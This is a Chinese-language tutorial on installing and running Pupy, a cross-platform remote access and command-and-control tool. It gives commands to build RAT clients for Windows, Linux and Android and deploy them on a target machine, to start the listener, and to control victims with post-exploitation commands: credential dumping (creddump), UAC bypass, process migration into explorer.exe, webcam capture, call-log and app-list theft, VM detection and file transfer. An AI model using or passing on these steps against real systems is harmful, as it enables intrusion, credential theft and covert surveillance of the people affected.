安装

Pupy需要Python 2.7的环境,且最好为Linux系统

运行下面的命令即可安装

git clone https://github.com/n1nj4sec/pupy.git pupy
cd pupy
git submodule init
git submodule update
pip install -r pupy/requirements.txt

需要注意的是,上面的命令运行完毕后,还会缺失远控客户端的模板,因此还需要运行下面的命令下载模板并合并

wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz

将解压后得到的文件放在pupy/pupy/payload_templates目录下即可

部署客户端

Pupy支持一键生成Linux、Windows、MacOS、Android平台的远控客户端

只需要在pupy/pupy/目录下运行下面命令即可

./pupygen.py -O windows -A x86 -o shell.exe
./pupygen.py -O linux -A x64 -o linux
./pupygen.py -O android -o shell.apk

将部署好的客户端放在靶机上运行即可,需要注意的是,linux可执行文件必须先赋予可执行权限

启动服务端

服务端默认监听443端口,如果和Https产生冲突,可以在conf文件中修改端口,注意客户端也需要修改

可以直接通过修改生成客户端的pupygen.py脚本来实现

配置完毕后,运行下面的命令就可以直接启动服务端

./pupysh.py

常见命令

查看当前连接的客户端:sessions
确定操作的客户端:sessions -i 客户端编号
生成交互式shell:interactive_shell
弹窗:msgbox --title hack "you have been hacked"
产生远程桌面:rdesktop -r 客户端编号
绕过UAC:bypassuac -r
获取用户密码:creddump
将shell依附到其他进程:migrate -p explorer.exe -k
获取进程列表:ps
单行执行命令:shell_exec '命令内容'
获取系统信息:get_info
调用摄像头拍照(Android):webcamsnap
获取应用列表(Android):apps -a -d
获取通话记录(Android):call -a -output-folder /root/call
检查是否虚拟机:check_vm
上传文件:upload 本地文件目录 远程文件目录
下载文件:download 远程文件目录

更多详见:

https://github.com/n1nj4sec/pupy/wiki/Get-Started

https://www.hackingarticles.in/command-control-tool-pupy/